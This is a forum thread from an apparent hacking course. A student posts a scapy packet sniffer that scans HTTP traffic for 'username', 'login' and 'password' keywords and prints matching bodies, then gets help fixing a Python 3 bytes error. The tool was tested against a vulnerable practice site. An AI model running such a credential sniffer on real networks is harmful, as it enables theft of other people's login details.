Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #65620
    FreeManFreeMan
    Participant

    Hello, i bought python hacking course and now im at packet sniffing video.
    Im whatching your lessons and do everything like you in in this video.

    So i copied your packet sniffer code:

    “#!/usr/bin/env python
    import scapy.all as scapy
    from scapy.layers import http

    def sniff(interface):
    scapy.sniff(iface=interface,store=False,prn=process_sniffed_packet)

    def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
    if packet.haslayer(scapy.Raw):
    load = packet[scapy.Raw].load
    keywords = [“username”,”user”, “login”, “password”]
    for keyword in keywords:
    if keyword in load:
    print(load)
    break
    sniff(“eth0″)”

    go in terminal and type: python3 packet_sniffer.py and hit enter

    then i go to the http login site enter user name and in terminal i got this error:

    “Traceback (most recent call last):
    File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 17, in <module>
    sniff(“eth0”)
    File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 6, in sniff
    scapy.sniff(iface=interface,store=False,prn=process_sniffed_packet)
    File “/usr/lib/python3/dist-packages/scapy/sendrecv.py”, line 1036, in sniff
    sniffer._run(*args, **kwargs)
    File “/usr/lib/python3/dist-packages/scapy/sendrecv.py”, line 989, in _run
    session.on_packet_received(p)
    File “/usr/lib/python3/dist-packages/scapy/sessions.py”, line 82, in on_packet_received
    result = self.prn(pkt)
    File “/root/PycharmProjects/arpspoofer/sniffer2.py”, line 14, in process_sniffed_packet
    if keyword in load:
    TypeError: a bytes-like object is required, not ‘str'”

    Please help, and sorry for my bad english.
    Thank you

    #65621
    FreeManFreeMan
    Participant

    code screenshot

    Attachments:
    You must be logged in to view attached files.
    #65623
    FreeManFreeMan
    Participant

    and zaid code form video:

    (i think is basicly the same but my just dont work)

    Attachments:
    You must be logged in to view attached files.
    #65639
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Use python 2 to run the script and it should work. And there’s a lecture at the end of this section that will fix the exact error you are facing, so at the moment use python2 and once you get to such lecture the error will be fixed.

    Greetings!
    Diego

    #65649
    FreeManFreeMan
    Participant

    Thanks for fast reply but now when i run it in python 2 (python sniffer.py) i have different problem
    program dont recive packets at all i go to vulnweb login , enter username and pass enter and…nothing
    packets never comming

    Attachments:
    You must be logged in to view attached files.
    #65651
    FreeManFreeMan
    Participant

    ofcourse i use the same code again just whit python 2 , now i dont get error but i dont recive packets too.

    #65653
    FreeManFreeMan
    Participant

    i figured it out, i just add few more important keywords in keyword and now it capture it.
    Thanks for your help Diego.

    #65669
    Diego PérezDiego Pérez
    Moderator

    You’re welcome!

    Greetings!
    Diego

Viewing 8 posts - 1 through 8 (of 8 total)
  • You must be logged in to reply to this topic.